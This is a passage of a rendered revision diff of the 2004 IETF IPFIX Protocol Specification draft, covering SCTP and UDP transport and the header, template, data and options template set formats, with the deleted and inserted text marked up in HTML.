   The <strike><font color=red>UDP destination port</font></strike> <strong><font color=green>SCTP transport protocol</font></strong> is <strike><font color=red>set</font></strike> by <strike><font color=red>manual configuration at both  
   Exporting Process and Collecting Process.   
    
   The UDP source port is allocated from the dynamic and/or  
   private ports space.   

 5.4.5   Exporting Process 
    
   The Exporting Process MAY duplicate</font></strike> <strong><font color=green>default reliable, but has</font></strong> the <strike><font color=red>IPFIX Message</font></strike> 
   <strong><font color=green>capability</font></strong> to <strike><font color=red>the several</font></strike> <strong><font color=green>operate in unreliable and partially reliable modes 
   [RFC3758]. 
    
   Using reliable SCTP streams (referred to hereafter as "streams") for 
   the IPFIX export is not in itself a guarantee that all data records 
   are delivered.  If there is congestion on the link from the 
   Exporting Process to the Collecting Process, or if a significant 
   number of retransmissions are required, the send queues on the 
   Exporting Process may fill up: the Exporting Process MAY either 
   suspend export or discard IPFIX Messages.  If data records are 
   discarded the sequence numbers used for export MUST reflect the loss 
   of data.   

 5.3.3   MTU 
 
   SCTP provides the required IPFIX Message fragmentation service based 
   on path MTU discovery. 

 5.3.4   Exporting Process 

 5.3.4.1 Association Establishment 
    
   The IPFIX Exporting Process SHOULD initiate an SCTP association with 
   the IPFIX Collecting Process.  By default, the Collecting Process 
   listens for connections on SCTP port XXXX (to be assigned by 
   IANA).  It MUST be possible to configure both the Exporting 
   and Collecting Processes to use a different SCTP port. 
    
   The Exporting Process MAY establish more than one associations 
   (connection "bundle" in SCTP terminology) to the Collecting Process. 
    
   An Exporting Process MAY support more than one active association 
   to different Collecting Processes (including the case of different 
   Collecting Processes on the same host). 
    

 
 
  Claise, et. al            Standard Track                   [Page 17] 
                   IPFIX Protocol Specification           October 2004 
 
 
 5.3.4.2 Association Shutdown 
    
   When an Exporting Process has no more IPFIX Messages to send, it 
   SHOULD shutdown the SCTP association. 
    
   When a Collecting Process no longer wants to receive IPFIX 
   Messages, it SHOULD shutdown its end of the association.  The 
   Collecting Process SHOULD continue to receive and process 
   IPFIX Messages until the Exporting Process has closed its end. 
    
   When a Collecting Process detects that the SCTP association has been 
   abnormally terminated, it MUST continue to listen for a new 
   association establishment. 
    
   When an Exporting Process detects that the SCTP association to the 
   Collecting Process is abnormally terminated, it SHOULD try to re-
   establish the association.  
    
   Association timeouts SHOULD be configurable. 
    

 5.3.4.3 Source ID 
  
   The IPFIX Message MUST contain a Message Header, which includes a 
   Source ID.  The Exporting Process uses the Source ID to uniquely 
   identify to the Collecting Process the Observation Domain that 
   metered the Flows. 

 5.3.4.4 Stream 
 
   An Exporting Process MUST request at least two outbound streams per 
   association.  The first stream (referred to as stream zero in the 
   rest of this document), is used to send the Template Set and the 
   Options Template Set.  Stream zero MUST be fully reliable.  Data 
   Sets MUST NOT be sent on stream zero. 
    
   Depending on the application requirement, the Exporting Process 
   selects the mode (unreliable, partially reliable, or fully reliable 
   mode) of the stream, used to send the Data Sets.  Unreliable mode 
   MAY be used where the application does not require reliable 
   transmission and the use of a retransmission queue is impractical. 
    

 
 
  Claise, et. al            Standard Track                   [Page 18] 
                   IPFIX Protocol Specification           October 2004 
 
 
   An Exporter MAY use multiple streams to export Data Sets, in some 
   cases different applications will have different requirements in 
   terms of reliability.  In such a case, the Observation Domain MUST 
   use the same Source ID value on all of the multiple streams it uses.  
   Data Sets from multiple Observation Domains MUST NOT be transmitted 
   over the same stream; the Collecting Process should however verify 
   that the Source ID values are the expected values.   
    
   When Data Sets are exported over a partially reliable stream, they 
   SHOULD be marked for retransmission as long as there is room in the 
   SCTP send queues.  However during times of congestion or other 
   retransmission events, if the queue overflows, the oldest data 
   record that has been transmitted and marked as partially reliable 
   should be freed and marked to be skipped per the PR-SCTP [RFC3758] 
   specification.  The freed buffer space should then be re-used for 
   the new Data Sets being exported.   

 5.3.4.5 Template 
 
   Templates Sets and Option Template Sets MUST be sent on stream zero 
   with full reliability. 
    
   New Template Records SHOULD be transmitted as soon as they are 
   created on the Metering Process, and preferably before any 
   associated Flow and Options Data Record is transmitted.  The 
   Collecting Process SHOULD accept Flow and Options Data Records 
   without the associated Template Record. 
    
   A Collecting Process MUST record all Template and Option 
   Template Records for the duration of the association, as 
   an Exporting Process is not required to re-export Template Records. 

 5.3.5   Collecting Process 
 
   The Collecting Process SHOULD listen for a new association request 
   from the Exporting Process.  The Exporting Process will request a 
   number of streams to use for export.  A Collecting Process MUST 
   support at least two inbound streams per association.  An Exporting 
   Process and Collecting Process MAY ask for and support more than two 
   streams. 
    


 
 
  Claise, et. al            Standard Track                   [Page 19] 
                   IPFIX Protocol Specification           October 2004 
 
 
   The Collecting Process SHOULD verify that the received IPFIX 
   Messages inside one stream do not have differing Source ID values 
   and silently discard any data that does NOT match the initial value.   
   The Exporting Process SHOULD NOT transmit messages inside one stream 
   with multiple Source ID values.  The correlated Flow Records are 
   then treated like a normal export Flow. 
    
   If the Collecting Process receives a malformed IPFIX Message, it 
   MUST reset the SCTP association, discard the message and log the 
   error.   
     
   When an SCTP association is closed, the Collecting Process MUST 
   discard all templates received over that association and stop 
   decoding IPFIX Messages that use those templates. 

 5.3.6   Failover 
 
   If the Collecting Process does not acknowledge the attempt by the 
   Exporting Process to establish an association it will retry using 
   the SCTP exponential backoff feature.  The Exporter MAY log an alarm 
   if the time to establish the association exceeds a specified 
   threshold. 
    
   If Collecting Process failover is supported by the Exporting Process 
   a second SCTP association MAY be opened in advance. 
    
 5.4      UDP 
    
   This section describes how IPFIX can be transported over UDP  
   [RFC768] 

 5.4.1   Congestion Avoidance  
     
   UDP has no integral congestion avoidance mechanism.  Its use  
   over congestion sensitive network paths is therefore deprecated.   
   UDP MAY be used in deployments where Exporters and Collectors  
   always communicate over dedicated links that are not susceptible  
   to congestion.   

 5.4.2   Reliability  
    
   UDP is not a reliable transport protocol, and cannot guarantee  
   delivery of messages.  IPFIX Messages sent from the Exporting  
 
 
  Claise, et. al            Standard Track                   [Page 20] 
                   IPFIX Protocol Specification           October 2004 
 
 
   Process to the Collecting Process using UDP may therefore be lost.   
   UDP MUST NOT be used unless the application can tolerate some  
   loss of Messages. 
    
   The Collecting Process could deduce the loss and reordering of IPFIX 
   Messages by looking at the discontinuities in the IPFIX Message 
   sequence number.  These conditions SHOULD be logged. 
    
   Templates sent from the Exporting Process to the Collecting  
   Process using UDP as a transport MUST be resent at regular  
   intervals in case previous copies were lost.  Implementations  
   MAY send templates using a reliable transport protocol, and  
   send IPFIX Flow and Option Data Records using UDP as the  
   transport protocol. 

 5.4.3   MTU 
    
   The maximum size of exported messages MUST be configured such that  
   the total packet size does not exceed the path MTU.   

 5.4.4   Port Numbers 
    
   By default, the Collecting Process listens on the UDP port XXXX (to 
   be assigned by IANA).  It MUST be possible to configure both the 
   Exporting and Collecting Processes to use a different UDP port. 

 5.4.5   Exporting Process 
    
   The Exporting Process MAY duplicate the IPFIX Message  
   to the several</font></strong> Collecting Process.   

 5.4.5.1 Template 
    
   If sent using UDP as the transport protocol, Template Sets  
   and Option Template Sets MUST be re-sent at regular intervals.  How 
   frequently these Options Data Records are exported is configurable.   
   New Template Records SHOULD be transmitted as soon as they are  
   created on the Metering Process, and before any associated Data  
   Record is transmitted.  The Collecting Process SHOULD accept  
   Flow and Options Data Records without the associated Template 
   Record. 
    

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 21] 
                   IPFIX Protocol Specification           October 2004 
 
 
   If the Option Template scope is defined in another Template, then 
   both Templates SHOULD be sent in the same IPFIX Message. For 
   example: if a Flow Key Option Template (see section 8.3) is sent in 
   an Option Template, then the associated Template SHOULD be sent in 
   the same IPFIX Message.</font></strong> 

 5.4.6   Collecting Process 
    
   If the Collecting Process receives an IPFIX Message that it cannot  
   decode, it MUST discard the message and log the error.   
    
   The Collecting Process MUST associate a lifetime with each  
   Template received via UDP.  If the template is not refreshed by the  
   Exporting Process before that lifetime has expired, the  
   Collecting Process MUST discard the Template.  The Collecting  
   Process MUST NOT decode Flow or Option Data Records which  
   have an expired Template.   



 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 18] 
                   IPFIX Protocol Specification            August 2004</font></strike>   

 5.4.7   Failover 
    
   Because UDP is not a connection oriented protocol, the Exporting 
   Process is unable to determine from the transport protocol that the 
   Collecting Process is no longer able to receive the IFPIX Messages.  
   Therefore, it can not invoke a failover mechanism.  However, the 
   Exporting Process MAY duplicate the IPFIX Message to several 
   Collecting Processes. 
    
 6.     Message Layout 
    
   An IPFIX Message consists of a Message Header followed by one or 
   more Sets.  The Sets can be any of the possible three types: 
   Template, Data, or Options Template.   
    
   The format of the IPFIX Message is shown in Figure B. 
    
   +--------+-------------------------------------------+ 
   |        | +----------+ +---------+ +----------+     | 
   |Message | | Template | |  Data   | | Options  |     | 
   | Header | |   Set    | |   Set   | | Template | ... | 
   |        | |          | |         | |    Set   |     | 
   |        | +----------+ +---------+ +----------+     | 
   +--------+-------------------------------------------+ 
    
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 22] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      Figure B: IPFIX Message format 
 
   A Set ID is used to distinguish the different types of Sets.  Set 
   IDs lower than 256 are reserved for special Sets, such as the 
   Template Set (ID 2) and the Options Template Set (ID 3).  The Data 
   Sets have a Set ID greater than 255.  The Set ID value of 0 and 1 
   are not used for historical reasons [NETFLOW9]. 
    
   The format of the Template, Data, and Options Template Sets will be 
   discussed later in this document.  The Exporter MUST code all binary 
   integers of the Message Header and the different Sets in network 
   byte order (also known as the big-endian byte ordering). 
    
   Following are some examples of IPFIX Messages: 
    
   1. An IPFIX Message consisting of interleaved Template, Data, and 
   Options Template Sets-A newly created Template is exported as soon 
   as possible.  So if there is already an IPFIX Message with a Data 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 19] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   Set that is being prepared for export, the Template and Option Sets 
   are also interleaved with this information, subject to availability 
   of space. 
    
   +--------+--------------------------------------------------------+ 
   |        | +----------+ +---------+     +-----------+ +---------+ | 
   |Message | | Template | | Data    |     | Options   | | Data    | | 
   | Header | | Set      | | Set     | ... | Template  | | Set     | | 
   |        | |          | |         |     | Set       | |         | | 
   |        | +----------+ +---------+     +-----------+ +---------+ | 
   +--------+--------------------------------------------------------+  
    
      Figure C: IPFIX Message example 1 
    
   2. An IPFIX Message consisting entirely of Data Sets-After the 
   appropriate Template Records have been defined and transmitted to 
   the Collecting Process, the majority of IPFIX Messages consist 
   solely of Data Sets.   
    
   +--------+----------------------------------------------+ 
   |        | +---------+     +---------+      +---------+ | 
   |Message | | Data    | ... | Data    | ...  | Data    | | 
   | Header | | Set     | ... | Set     | ...  | Set     | | 
   |        | +---------+     +---------+      +---------+ | 
   +--------+----------------------------------------------+   
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 23] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
    
      Figure D: IPFIX Message example 2 
 
   3. An IPFIX Message consisting entirely of Template and Options 
   Template Sets-When UDP is used as the transport protocol, Templates 
   Sets and Option Template Sets MUST be sent periodically to help 
   ensure that the Collecting Process has the correct Template Records 
   and Options Template Records when the corresponding Flow Data 
   Records are received.   
    
   +--------+-------------------------------------------------+ 
   |        | +----------+     +----------+      +----------+ | 
   |Message | | Template |     | Template |      | Options  | | 
   | Header | | Set      | ... | Set      | ...  | Template | | 
   |        | |          |     |          |      | Set      | | 
   |        | +----------+     +----------+      +----------+ | 
   +--------+-------------------------------------------------+ 
    
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 20] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
      Figure E: IPFIX Message example 3 
    
    
 7.     IPFIX Message Format 
    
 7.1      Header Format 
    
   The format of the IPFIX Message Header format is shown in Figure F. 
    
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |       Version Number          |            Length             | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                           Export Time                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                       Sequence Number                         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                          Source ID                            | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
      Figure F: IPFIX Message Header format 
    
   Message Header Field Descriptions  
    

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 24] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   Version 
           Version of Flow Record format exported in this message.  The 
           value of this field is 0x000a for the current version. 
            
   Length 
           Total Length is the length of the IPFIX Message, measured in 
           octets, including message Header and Set(s). 
             
   Export Time 
           Time in seconds since 0000 UTC 1970, at which the Export 
           Packet leaves the Exporter. 
            
   Sequence Number 
           Incremental sequence counter of all IPFIX Messages sent from 
           the current Observation Domain by the Exporting Process.  
           This value SHOULD be used by the Collecting Process to 
           identify whether any IPFIX Messages have been missed. 
            

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 21] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
            
   Source ID 
           A 32-bit value that identifies the Exporter Process 
           Observation Domain.  Collecting Process SHOULD use the 
           combination of the source IP address and the Source ID field 
           to separate different export streams originating from the 
           same Exporting Process. 
            
 7.2      Field Type Format 
            
   Vendors need the ability to define proprietary Information Elements, 
   because, for example, they are delivering pre-standards product, or 
   the Information Element is in some way commercially sensitive.  This 
   section describes the Field Type format for both IETF specified 
   Information Elements [IPFIX-INFO] and Vendor Specified Information 
   Elements, both the Template Set and the Option Template Set.   
    
   The Field Ids used to identify Information Elements are represented 
   by the Field Type.  When the Enterprise Field Type bit is set to 0, 
   the corresponding Field Type will report an IETF specified 
   Information Elements.  When the Enterprise Field Type bit is set to 
   1, the corresponding Field Type will report a Vendor Specified 
   Information Element.  
    
   The Field Type format is shown in Figure G. 
     
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 25] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      
      
      
       
       
        
        0                   1                   2                   3  
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
       |E|      Field Type             |        Field Length           |  
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
       |                      Enterprise Number                        |  
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      
          Figure G: Field Type format 
      
        Where: 
      
       E  
          Enterprise Field Type.  If this bit is zero, the Field Type  
          identifies an IETF specified Information Element, and the  
          four octet Enterprise Number field MUST NOT be present.  If  
          this bit is one, the Field Type identifies a Vendor Specified  
          Information Element, and the Enterprise Number filed MUST be  
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 22] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
          present.   
      
      Field Type  
         A numeric value that represents the type of the field.  Refer    
         to [IPFIX-INFO].   
    
      Field Length  
         The length of the corresponding Field Type, in bytes.  Refer    
         to [IPFIX-INFO].   
    
      Enterprise Number  
         IANA enterprise number [PEN] of the authority defining the  
         Field Type in this Template Record. 
            
 7.3      Template Set <strong><font color=green>Format</font></strong> 
    
   One of the essential elements in the IPFIX format is the Template 
   Set.  Templates greatly enhance the flexibility of the Flow Record 
   format because they allow the Collecting Process to process Flow 
   Records without necessarily knowing the interpretation of all the 
   data in the Flow Record.  A Template Set MAY exclusively contain 
   IETF defined Field Types.  A Template Set MAY contain Vendor 
   Specified Information Elements from one or more vendors.   
    
   The format of the Template Set is shown in Figure H.   
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 26] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
    
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 2           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 256          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  1.1                     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type N           |         Field Length N        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 23] 
                   IPFIX Protocol Specification            August 2004</font></strike>   
      |                    Enterprise Number  1.N                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 257          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.2                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type M           |         Field Length M        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.M                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                          Padding (opt)                        | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
      Figure H: Template Set Format 
    
   The Template Set Field Definitions are as follows: 
    
     Set ID 
           Set ID value of 2 is reserved for the Template Set. 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 27] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 
     Length 
           Total length of this Set.  Because an individual Template 
           Set MAY contain multiple Template Records, the Length value 
           MUST be used to determine the position of the next Set 
           record, which could be any type of Set.  Length is the sum 
           of the lengths of the Set ID, the Length itself, and all 
           Template Records within this Set. 
            
     Template ID 
           Each of the newly generated Template Records is given a 
           unique Template ID.  This uniqueness is local to the 
           Observation Domain that generated the Template ID.       
           Template IDs 0-255 are reserved for Template Sets, Options 
           Sets, and other reserved Sets yet to be created.  Template 
           IDs of Data Sets are numbered from 256 to 65535. 
            
     Field Count 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 24] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
           Number of fields in this Template Record.  Because a 
           Template Set usually contains multiple Template Records, 
           this field allows the Collecting Process to determine the 
           end of the current Template Record and the start of the 
           next. 
            
     Field Type 
           A numeric value that represents the type of the field.  
           Refer to [IPFIX-INFO]. 
               
     Field Length 
           The length of the corresponding Field Type, in bytes.  Refer 
           to [IPFIX-INFO]. 
            
      Enterprise Number  
           IANA enterprise number [PEN] of the authority defining the  
           Field Type. 
      
      Padding  
           The Exporting Process MAY insert some padding bytes, so that 
           the subsequent Set starts at an aligned boundary.  Padding 
           MUST be composed of zero (0) bytes.  The padding length MUST 
           be shorter than any allowable Template Record in this 
           Template Set.  It is important to note that the Length field 
           includes the padding <strike><font color=red>bits.</font></strike> <strong><font color=green>bytes.</font></strong>  Because Template Sets are 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 28] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
           always 4-byte aligned by definition padding is only needed 
           in case of other alignments e.g. on 8-byte boundaries. 
            
   The Set ID value of 0 and 1 are not used for historical reasons 
   [NETFLOW9]. 
    
 7.4      Data Set <strong><font color=green>Format</font></strong> 
    
   The format of the Data Set is shown in Figure I. 
    
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Set ID = Template ID        |          Length               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 1 - Field Value 1    |   Record 1 - Field Value 2    | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 1 - Field Value 3    |             ...               | 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 25] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 2 - Field Value 1    |   Record 2 - Field Value 2    | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 2 - Field Value 3    |             ...               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 3 - Field Value 1    |             ...               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |              ...              |        Padding (opt)          | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   
    
      Figure I: Data Set Format 
    
   Note that not all Field Values do necessarily have a length of 16 
   bit. 
    
   Data Set Field Descriptions are as follows: 
    
   Set ID = Template ID 
           Each Data Set is associated with a Set ID.  The Set ID maps 
           to a (previously generated) Template ID.  The Collecting 
           Process MUST use the Set ID to find the corresponding 
           Template Record and decode the Flow Records from the Set. 
            
   Length 
           The length of this Set.   
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 29] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
           Length is the sum total of lengths of Set ID, Length itself, 
           all Flow Records within this Set, and the padding bytes, if 
           any. 
                  
   Record N - Field Value M 
           The remainder of the Data Set is a collection of Flow Data 
           Record(s), each containing a set of Field Types and values.  
           The Type and Length of the fields have been previously 
           defined in the Template Record referenced by the Set ID or 
           Template ID. 
            
   Padding  
           The Exporting Process MAY insert some padding bytes, so that 
           the subsequent Set starts at an aligned boundary.  Padding 
           MUST be composed of zero (0) bytes.  The padding length MUST 
           be shorter than any allowable Flow Data Record in this Data 
           Set.  It is important to note that the Length field includes 
           the padding <strike><font color=red>bits. 
 
 
  Claise, et. al            Standard Track                   [Page 26] 
                   IPFIX Protocol Specification            August 2004</font></strike> <strong><font color=green>bytes.</font></strong> 
    
   Interpretation of the Data Set format can be done only if the 
   Template Set corresponding to the Template ID is available at the 
   Collecting Process.    
    
 7.5      Options Template Set 
    
   The Options Template Record (and its corresponding Options Data 
   Record) is used to supply information about the Metering Process 
   configuration or Metering Process specific data, rather than 
   supplying information about IP Flows. 
    
   For example, the Options Template Set can report the sample rate of 
   a specific interface, if sampling is supported, along with the 
   sampling method used.   

 7.5.1   Scope 
    
   The Options Template Set gives the Exporter the ability to provide 
   additional information to the Collector which would not be possible 
   with only Flow Records. The scope, which is only available in the 
   Options Template Set, gives the context of the reported Information 
   Elements.  One Options Template Set example is the "Metering Process 
   statistics", which reports the statistics for the Observation 
   Domain, which is defined as the scope.  Another example is the 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 30] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   "Template configuration", which reports the configuration sampling 
   parameter(s) for the template, which is defined as the scope.   
    
   Multiple scope fields MAY be present in the Options Template Set, in 
   which, the composite scope is the combination of the scopes. For 
   example, if the two scopes are defined as "cache" and "template", 
   the combined scope is this template in this cache.  The order of the 
   scope, as defined in the Options Template Set, is in this case 
   irrelevant. However, if the order of the scopes fields in the Option 
   Template Set is relevant, the order of the scope fields MUST be 
   used.  For example, if the first scope defines the filtering 
   function, while the second scope defines the sampling function, the 
   order of the scope is important. Applying first the sampling 
   function, followed by the filtering function, would lead to 
   potential different Flow Records than applying first the filtering 
   function, followed by the filtering function.  In this case, the 

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 27] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   Collector deduces the function order by looking at the order of the 
   scope in the Options Template Set.  
    
   Finally, note that the scope length MAY NOT be <strike><font color=red>null</font></strike> <strong><font color=green>null.</font></strong> 

 7.5.2   Options Template Set Format 
    
   An Options Template MAY exclusively contain IETF defined Field 
   Types.  An Options Template MAY contain Vendor Specified Information 
   Elements from multiple vendors.  An Options Template MAY contain 
   IETF defined Field Types and Vendor Specified Information Elements. 
    
   The format of the Options Template Set is shown in Figure J.   
    
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 3           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |         Template ID           |      <strike><font color=red>Option Scope Length</font></strike>         <strong><font color=green>Field Count</font></strong>           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        <strike><font color=red>Option Length</font></strike>      <strong><font color=green>Scope Field Count</font></strong>        |      Scope 1 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 1 Field Length      |      Scope 2 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 2 Field Length      |             ...               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 31] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      |            ...                |      Scope N Field Type       | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Scope N Field Length      |         Scope N ...           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |      Option 1 Field Type      |       
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    Option 1 Field Length      |           Option 1 ...        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |       Option M Field Type     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Option M Field Length     |         Padding (opt)         |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 28] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
    
      Figure J: Option Template Set Format 
    
